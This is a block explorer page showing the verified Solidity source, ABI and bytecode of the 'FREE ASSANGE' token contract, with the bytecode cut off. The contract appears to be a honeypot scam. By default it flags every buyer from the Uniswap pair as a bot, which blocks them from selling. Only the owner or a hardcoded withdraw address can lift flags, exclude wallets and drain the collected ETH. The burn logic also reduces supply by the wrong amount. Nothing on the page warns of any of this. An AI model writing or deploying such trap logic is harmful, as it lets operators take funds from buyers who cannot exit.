ETH Price: $2,596.32 (+0.21%)
Gas: 1 Gwei

Token

FREE ASSANGE (ASSANGE)
 

Overview

Max Total Supply

782,428,711,524.45808962657933015 ASSANGE

Holders

147

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
495,776,509.801333990631516975 ASSANGE

Value
$0.00
0xCB5078Eb5b17Bc3bBdC7C5b2ab1b8c9BccAFF2AB
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FREE_ASSANGE

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-12-10
*/

// http://FreeAssange.foundation
// https://t.me/freeassangetoken

// File: contracts/IUniswapV2Router02.sol

pragma solidity ^0.8.7;

interface IUniswapV2Router02 {
    //function swapExactTokensForETHSupportingFeeOnTransferTokens(
    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}
// File: contracts/ERC20.sol

pragma solidity ^0.8.7;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract ERC20 is IERC20 {
    uint256 internal _totalSupply = 1e30;
    string _name;
    string _symbol;
    uint8 constant _decimals = 18;
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() external view returns (string memory) {
        return _name;
    }

    function symbol() external view returns (string memory) {
        return _symbol;
    }

    function decimals() external pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        external
        override
        returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        _beforeTokenTransfer(from, to, amount);

        uint256 senderBalance = _balances[from];
        require(senderBalance >= amount);
        unchecked {
            _balances[from] = senderBalance - amount;
        }
        _balances[to] += amount;
        emit Transfer(from, to, amount);
        _afterTokenTransfer(from, to, amount);
    }

    function allowance(address owner, address spender)
        external
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        external
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][msg.sender];
        require(currentAllowance >= amount);
        unchecked {
            _approve(sender, msg.sender, currentAllowance - amount);
        }

        return true;
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0));

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount);
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

// File: contracts/TradableErc20.sol

pragma solidity ^0.8.7;

//import "hardhat/console.sol";



interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

abstract contract TradableErc20 is ERC20 {
    IUniswapV2Router02 internal constant _uniswapV2Router =
        IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public uniswapV2Pair;
    bool public tradingEnable;
    mapping(address => bool) public isBot;
    mapping(address => bool) _isExcludedFromFee;
    bool _autoBanBots = true;
    bool _inSwap;
    uint256 public maxBuy = 1e28; // 1% max by default

    modifier onlyOwner() {
        require(isOwner(msg.sender));
        _;
    }

    modifier lockTheSwap() {
        _inSwap = true;
        _;
        _inSwap = false;
    }

    constructor(string memory name_, string memory symbol_)
        ERC20(name_, symbol_)
    {
        _isExcludedFromFee[address(0)] = true;
    }

    receive() external payable {}

    function makeLiquidity() public onlyOwner {
        require(uniswapV2Pair == address(0));
        address pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
            address(this),
            _uniswapV2Router.WETH()
        );
        _balances[address(this)] = _totalSupply;
        _allowances[address(this)][address(_uniswapV2Router)] = _totalSupply;
        _isExcludedFromFee[pair] = true;
        _uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            _totalSupply,
            0,
            0,
            msg.sender,
            block.timestamp
        );

        uniswapV2Pair = pair;
        tradingEnable = true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(!isBot[from] && !isBot[to]);

        // buy
        if (from == uniswapV2Pair && !_isExcludedFromFee[to]) {
            require(tradingEnable);
            if (!_autoBanBots) require(_balances[to] + amount <= maxBuy);
            // antibot
            if (_autoBanBots) isBot[to] = true;
            amount = _getFeeBuy(amount);
        }

        // sell
        if (!_inSwap && uniswapV2Pair != address(0) && to == uniswapV2Pair) {
            amount = _getFeeSell(amount, from);
            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance > 0) {
                uint256 maxContractBalance = (balanceOf(uniswapV2Pair) *
                    getMaxContractBalancePercent()) / 100;
                if (contractTokenBalance > maxContractBalance) {
                    uint256 burnCount;
                    unchecked {
                        burnCount = contractTokenBalance - maxContractBalance;
                    }
                    contractTokenBalance = maxContractBalance;
                    _totalSupply -= amount;
                    emit Transfer(address(this), address(0), burnCount);
                }
                //console.log("swapTokensForEth");
                uint256 swapCount = contractTokenBalance;
                uint256 maxSwapCount = 2 * amount;
                if (swapCount > maxSwapCount) swapCount = maxSwapCount;
                swapTokensForEth(swapCount);
            }
        }

        // transfer
        //console.log(from, "->", to);
        //console.log("amount: ", amount);
        super._transfer(from, to, amount);
        //console.log("=====end transfer=====");
    }

    function _getFeeBuy(uint256 amount) private returns (uint256) {
        uint256 fee = (amount * getFeePercent()) / 100;
        amount -= fee;
        _balances[address(this)] += fee;
        return amount;
    }
    function _getFeeSell(uint256 amount, address account) private returns (uint256) {
        uint256 fee = (amount * getFeePercent()) / 100;
        amount -= fee;
        _balances[address(this)] += fee;
        _balances[account] -= fee;
        return amount;
    }


    function setMaxBuy(uint256 percent) external onlyOwner {
        _setMaxBuy(percent);
    }

    function _setMaxBuy(uint256 percent) internal {
        maxBuy = (percent * _totalSupply) / 100;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();

        _approve(address(this), address(_uniswapV2Router), tokenAmount);

        // make the swap
        _uniswapV2Router.swapExactTokensForETH(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
    }

    function setBots(address[] memory accounts, bool value) external onlyOwner {
        for (uint256 i = 0; i < accounts.length; ++i) {
            isBot[accounts[i]] = value;
        }
    }

    function setExcludeFromFee(address[] memory accounts, bool value)
        external
        onlyOwner
    {
        for (uint256 i = 0; i < accounts.length; ++i) {
            _isExcludedFromFee[accounts[i]] = value;
        }
    }

    function setTradingEnable(bool value, bool autoBanBotsValue)
        external
        onlyOwner
    {
        tradingEnable = value;
        _autoBanBots = autoBanBotsValue;
    }

    function setAutoBanBots(bool value) external onlyOwner {
        _autoBanBots = value;
    }

    function withdraw() external onlyOwner {
        _withdraw(address(this).balance);
    }

    function getFeePercent() internal virtual returns (uint256);

    function getMaxContractBalancePercent() internal virtual returns (uint256);

    function _withdraw(uint256 sum) internal virtual;

    function isOwner(address account) internal virtual returns (bool);
}

// File: contracts/FREE_ASSANGE.sol

pragma solidity ^0.8.7;


contract FREE_ASSANGE is TradableErc20 {
    address _owner;
    address _withdrawAddress =
        address(0xa5086bbB00914e3e5C230Ccf20E04A6c657F7F1d);
    uint256 maxContractLiquidityPercent = 4;

    constructor() TradableErc20("FREE ASSANGE", "ASSANGE") {
        _owner = msg.sender;
        //_setMaxBuy(1);
    }

    function getFeePercent() internal pure override returns (uint256) {
        return 10;
    }

    function getMaxContractBalancePercent()
        internal
        view
        override
        returns (uint256)
    {
        return maxContractLiquidityPercent;
    }

    function setMaxContractLiquidityPercent(uint256 newMaxLiquidityPercent)
        external
        onlyOwner
    {
        maxContractLiquidityPercent = newMaxLiquidityPercent;
    }

    function _withdraw(uint256 sum) internal override {
        payable(_withdrawAddress).transfer(sum);
    }

    function isOwner(address account) internal view override returns (bool) {
        return account == _owner || account == _withdrawAddress;
    }

    function transferOwnership(address newOwner) external onlyOwner {
        _owner = newOwner;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"makeLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutoBanBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setExcludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"setMaxBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxLiquidityPercent","type":"uint256"}],"name":"setMaxContractLiquidityPercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"value","type":"bool"},{"internalType":"bool","name":"autoBanBotsValue","type":"bool"}],"name":"setTradingEnable","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526c0c9f2c9cd04674edea400000006000556008805460ff191660011790556b204fce5e3e25026110000000600955600b80546001600160a01b03191673a5086bbb00914e3e5c230ccf20e04a6c657f7f1d1790556004600c553480156200006a57600080fd5b50604080518082018252600c81526b4652454520415353414e474560a01b602080830191825283518085019094526007845266415353414e474560c81b90840152815191929183918391620000c2916001916200012a565b508051620000d89060029060208401906200012a565b50506000805250506007602052507f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df805460ff19166001179055600a80546001600160a01b031916331790556200020d565b8280546200013890620001d0565b90600052602060002090601f0160209004810192826200015c5760008555620001a7565b82601f106200017757805160ff1916838001178555620001a7565b82800160010185558215620001a7579182015b82811115620001a75782518255916020019190600101906200018a565b50620001b5929150620001b9565b5090565b5b80821115620001b55760008155600101620001ba565b600181811c90821680620001e557607f821691505b602082108114156200020757634e487b7160e01b600052602260045260246000fd5b50919050565b611555806200021d6000396000f3fe6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb1461037c578063acefa6911461039c578063b203919e146103bc578063dd62ed3e146103d1578063f2fde38b14610417578063f53bc8351461043757600080fd5b806370a08231146102db57806370db69d61461031157806395d89b41146103275780639b6f6d781461033c5780639c0db5f31461035c57600080fd5b8063313ce567116100fd578063313ce567146102005780633bbac5791461021c5780633ccfd60b1461024c57806349bd5a5e1461026357806352e539881461029b5780636c90b57f146102bb57600080fd5b806306fdde0314610145578063095ea7b3146101705780631693e8d4146101a057806318160ddd146101c157806323b872dd146101e057600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a610457565b604051610167919061133c565b60405180910390f35b34801561017c57600080fd5b5061019061018b36600461119d565b6104e9565b6040519015158152602001610167565b3480156101ac57600080fd5b5060055461019090600160a01b900460ff1681565b3480156101cd57600080fd5b506000545b604051908152602001610167565b3480156101ec57600080fd5b506101906101fb36600461115c565b6104ff565b34801561020c57600080fd5b5060405160128152602001610167565b34801561022857600080fd5b506101906102373660046110e2565b60066020526000908152604090205460ff1681565b34801561025857600080fd5b50610261610555565b005b34801561026f57600080fd5b50600554610283906001600160a01b031681565b6040516001600160a01b039091168152602001610167565b3480156102a757600080fd5b506102616102b63660046112f5565b610572565b3480156102c757600080fd5b506102616102d63660046111c9565b610589565b3480156102e757600080fd5b506101d26102f63660046110e2565b6001600160a01b031660009081526003602052604090205490565b34801561031d57600080fd5b506101d260095481565b34801561033357600080fd5b5061015a610605565b34801561034857600080fd5b506102616103573660046112a7565b610614565b34801561036857600080fd5b506102616103773660046111c9565b610639565b34801561038857600080fd5b5061019061039736600461119d565b6106b0565b3480156103a857600080fd5b506102616103b73660046112c2565b6106bd565b3480156103c857600080fd5b50610261610700565b3480156103dd57600080fd5b506101d26103ec366004611123565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561042357600080fd5b506102616104323660046110e2565b6109e6565b34801561044357600080fd5b506102616104523660046112f5565b610a1a565b60606001805461046690611472565b80601f016020809104026020016040519081016040528092919081815260200182805461049290611472565b80156104df5780601f106104b4576101008083540402835291602001916104df565b820191906000526020600020905b8154815290600101906020018083116104c257829003601f168201915b5050505050905090565b60006104f6338484610a38565b50600192915050565b600061050c848484610a99565b6001600160a01b03841660009081526004602090815260408083203384529091529020548281101561053d57600080fd5b61054a8533858403610a38565b506001949350505050565b61055e33610ce5565b61056757600080fd5b61057047610d17565b565b61057b33610ce5565b61058457600080fd5b600c55565b61059233610ce5565b61059b57600080fd5b60005b82518110156106005781600760008584815181106105be576105be6114de565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556105f9816114ad565b905061059e565b505050565b60606002805461046690611472565b61061d33610ce5565b61062657600080fd5b6008805460ff1916911515919091179055565b61064233610ce5565b61064b57600080fd5b60005b825181101561060057816006600085848151811061066e5761066e6114de565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556106a9816114ad565b905061064e565b60006104f6338484610a99565b6106c633610ce5565b6106cf57600080fd5b6005805460ff60a01b1916600160a01b93151593909302929092179091556008805460ff1916911515919091179055565b61070933610ce5565b61071257600080fd5b6005546001600160a01b03161561072857600080fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561077757600080fd5b505afa15801561078b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107af9190611106565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561080b57600080fd5b505afa15801561081f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108439190611106565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561088b57600080fd5b505af115801561089f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c39190611106565b60008054308083526003602090815260408085208490556004808352818620737a250d5630b4cf539739df2c5dacb4c659f2488d808852908452828720959095556001600160a01b03871686526007909252808520805460ff191660011790558454905163f305d71960e01b81529182019290925260248101919091526044810183905260648101929092523360848301524260a483015291925063f305d71990479060c4016060604051808303818588803b15801561098257600080fd5b505af1158015610996573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109bb919061130e565b5050600580546001600160a81b0319166001600160a01b0390931692909217600160a01b1790915550565b6109ef33610ce5565b6109f857600080fd5b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b610a2333610ce5565b610a2c57600080fd5b610a3581610d55565b50565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526006602052604090205460ff16158015610adb57506001600160a01b03821660009081526006602052604090205460ff16155b610ae457600080fd5b6005546001600160a01b038481169116148015610b1a57506001600160a01b03821660009081526007602052604090205460ff16155b15610bac57600554600160a01b900460ff16610b3557600080fd5b60085460ff16610b71576009546001600160a01b038316600090815260036020526040902054610b66908390611402565b1115610b7157600080fd5b60085460ff1615610ba0576001600160a01b0382166000908152600660205260409020805460ff191660011790555b610ba981610d75565b90505b600854610100900460ff16158015610bce57506005546001600160a01b031615155b8015610be757506005546001600160a01b038381169116145b15610cda57610bf68184610dcb565b306000908152600360205260409020549091508015610cd85760006064610c1c600c5490565b6005546001600160a01b0316600090815260036020526040902054610c41919061143c565b610c4b919061141a565b905080821115610caf576000818303905081925083600080828254610c70919061145b565b909155505060405181815260009030907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3505b816000610cbd85600261143c565b905080821115610ccb578091505b610cd482610e4f565b5050505b505b61060083838361100b565b600a546000906001600160a01b0383811691161480610d115750600b546001600160a01b038381169116145b92915050565b600b546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610d51573d6000803e3d6000fd5b5050565b606460005482610d65919061143c565b610d6f919061141a565b60095550565b6000806064610d85600a8561143c565b610d8f919061141a565b9050610d9b818461145b565b30600090815260036020526040812080549295508392909190610dbf908490611402565b90915550929392505050565b6000806064610ddb600a8661143c565b610de5919061141a565b9050610df1818561145b565b30600090815260036020526040812080549296508392909190610e15908490611402565b90915550506001600160a01b03831660009081526003602052604081208054839290610e4290849061145b565b9091555093949350505050565b6008805461ff0019166101001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e9357610e936114de565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610f0057600080fd5b505afa158015610f14573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f389190611106565b81600181518110610f4b57610f4b6114de565b60200260200101906001600160a01b031690816001600160a01b031681525050610f8a30737a250d5630b4cf539739df2c5dacb4c659f2488d84610a38565b6040516318cbafe560e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d906318cbafe590610fca908590600090869030904290600401611391565b600060405180830381600087803b158015610fe457600080fd5b505af1158015610ff8573d6000803e3d6000fd5b50506008805461ff001916905550505050565b6001600160a01b0383166000908152600360205260409020548181101561103157600080fd5b6001600160a01b03808516600090815260036020526040808220858503905591851681529081208054849290611068908490611402565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110b491815260200190565b60405180910390a350505050565b80356110cd8161150a565b919050565b803580151581146110cd57600080fd5b6000602082840312156110f457600080fd5b81356110ff8161150a565b9392505050565b60006020828403121561111857600080fd5b81516110ff8161150a565b6000806040838503121561113657600080fd5b82356111418161150a565b915060208301356111518161150a565b809150509250929050565b60008060006060848603121561117157600080fd5b833561117c8161150a565b9250602084013561118c8161150a565b929592945050506040919091013590565b600080604083850312156111b057600080fd5b82356111bb8161150a565b946020939093013593505050565b600080604083850312156111dc57600080fd5b823567ffffffffffffffff808211156111f457600080fd5b818501915085601f83011261120857600080fd5b813560208282111561121c5761121c6114f4565b8160051b604051601f19603f83011681018181108682111715611241576112416114f4565b604052838152828101945085830182870184018b101561126057600080fd5b600096505b8487101561128a57611276816110c2565b865260019690960195948301948301611265565b50965061129a90508782016110d2565b9450505050509250929050565b6000602082840312156112b957600080fd5b6110ff826110d2565b600080604083850312156112d557600080fd5b6112de836110d2565b91506112ec602084016110d2565b90509250929050565b60006020828403121561130757600080fd5b5035919050565b60008060006060848603121561132357600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156113695785810183015185820160400152820161134d565b8181111561137b576000604083870101525b50601f01601f1916929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156113e15784516001600160a01b0316835293830193918301916001016113bc565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611415576114156114c8565b500190565b60008261143757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611456576114566114c8565b500290565b60008282101561146d5761146d6114c8565b500390565b600181811c9082168061148657607f821691505b602082108114156114a757634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156114c1576114c16114c8565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610a3557600080fdfea2646970667358221220716e21cdbdb30029555eb8fcdc9fcef916f07ff229307076edc42d8b764695b764736f6c63430008070033

Deployed Bytecode

0x6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb1461037c578063acefa6911461039c578063b203919e146103bc578063dd62ed3e146103d1578063f2fde38b14610417578063f53bc8351461043757600080fd5b806370a08231146102db57806370db69d61461031157806395d89b41146103275780639b6f6d781461033c5780639c0db5f31461035c57600080fd5b8063313ce567116100fd578063313ce567146102005780633bbac5791461021c5780633ccfd60b1461024c57806349bd5a5e1461026357806352e539881461029b5780636c90b57f146102bb57600080fd5b806306fdde0314610145578063095ea7b3146101705780631693e8d4146101a057806318160ddd146101c157806323b872dd146101e057600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a610457565b604051610167919061133c565b60405180910390f35b34801561017c57600080fd5b5061019061018b36600461119d565b6104e9565b6040519015158152602001610167565b3480156101ac57600080fd5b5060055461019090600160a01b900460ff1681565b3480156101cd57600080fd5b506000545b604051908152602001610167565b3480156101ec57600080fd5b506101906101fb36600461115c565b6104ff565b34801561020c57600080fd5b5060405160128152602001610167565b34801561022857600080fd5b506101906102373660046110e2565b60066020526000908152604090205460ff1681565b34801561025857600080fd5b50610261610555565b005b34801561026f57600080fd5b50600554610283906001600160a01b031681565b6040516001600160a01b039091168152602001610167565b3480156102a757600080fd5b506102616102b63660046112f5565b610572565b3480156102c757600080fd5b506102616102d63660046111c9565b610589565b3480156102e757600080fd5b506101d26102f63660046110e2565b6001600160a01b031660009081526003602052604090205490565b34801561031d57600080fd5b506101d260095481565b34801561033357600080fd5b5061015a610605565b34801561034857600080fd5b506102616103573660046112a7565b610614565b34801561036857600080fd5b506102616103773660046111c9565b610639565b34801561038857600080fd5b5061019061039736600461119d565b6106b0565b3480156103a857600080fd5b506102616103b73660046112c2565b6106bd565b3480156103c857600080fd5b50610261610700565b3480156103dd57600080fd5b506101d26103ec366004611123565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561042357600080fd5b506102616104323660046110e2565b6109e6565b34801561044357600080fd5b506102616104523660046112f5565b610a1a565b60606001805461046690611472565b80601f016020809104026020016040519081016040528092919081815260200182805461049290611472565b80156104df5780601f106104b4576101008083540402835291602001916104df565b820191906000526020600020905b8154815290600101906020018083116104c257829003601f168201915b5050505050905090565b60006104f6338484610a38565b50600192915050565b600061050c848484610a99565b6001600160a01b03841660009081526004602090815260408083203384529091529020548281101561053d57600080fd5b61054a8533858403610a38565b506001949350505050565b61055e33610ce5565b61056757600080fd5b61057047610d17565b565b61057b33610ce5565b61058457600080fd5b600c55565b61059233610ce5565b61059b57600080fd5b60005b82518110156106005781600760008584815181106105be576105be6114de565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556105f9816114ad565b905061059e565b505050565b60606002805461046690611472565b61061d33610ce5565b61062657600080fd5b6008805460ff1916911515919091179055565b61064233610ce5565b61064b57600080fd5b60005b825181101561060057816006600085848151811061066e5761066e6114de565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556106a9816114ad565b905061064e565b60006104f6338484610a99565b6106c633610ce5565b6106cf57600080fd5b6005805460ff60a01b1916600160a01b93151593909302929092179091556008805460ff1916911515919091179055565b61070933610ce5565b61071257600080fd5b6005546001600160a01b03161561072857600080fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561077757600080fd5b505afa15801561078b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107af9190611106565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561080b57600080fd5b505afa15801561081f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108439190611106565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561088b57600080fd5b505af115801561089f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c39190611106565b60008054308083526003602090815260408085208490556004808352818620737a250d5630b4cf539739df2c5dacb4c659f2488d808852908452828720959095556001600160a01b03871686526007909252808520805460ff191660011790558454905163f305d71960e01b81529182019290925260248101919091526044810183905260648101929092523360848301524260a483015291925063f305d71990479060c4016060604051808303818588803b15801561098257600080fd5b505af1158015610996573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109bb919061130e565b5050600580546001600160a81b0319166001600160a01b0390931692909217600160a01b1790915550565b6109ef33610ce5565b6109f857600080fd5b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b610a2333610ce5565b610a2c57600080fd5b610a3581610d55565b50565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526006602052604090205460ff16158015610adb57506001600160a01b03821660009081526006602052604090205460ff16155b610ae457600080fd5b6005546001600160a01b038481169116148015610b1a57506001600160a01b03821660009081526007602052604090205460ff16155b15610bac57600554600160a01b900460ff16610b3557600080fd5b60085460ff16610b71576009546001600160a01b038316600090815260036020526040902054610b66908390611402565b1115610b7157600080fd5b60085460ff1615610ba0576001600160a01b0382166000908152600660205260409020805460ff191660011790555b610ba981610d75565b90505b600854610100900460ff16158015610bce57506005546001600160a01b031615155b8015610be757506005546001600160a01b038381169116145b15610cda57610bf68184610dcb565b306000908152600360205260409020549091508015610cd85760006064610c1c600c5490565b6005546001600160a01b0316600090815260036020526040902054610c41919061143c565b610c4b919061141a565b905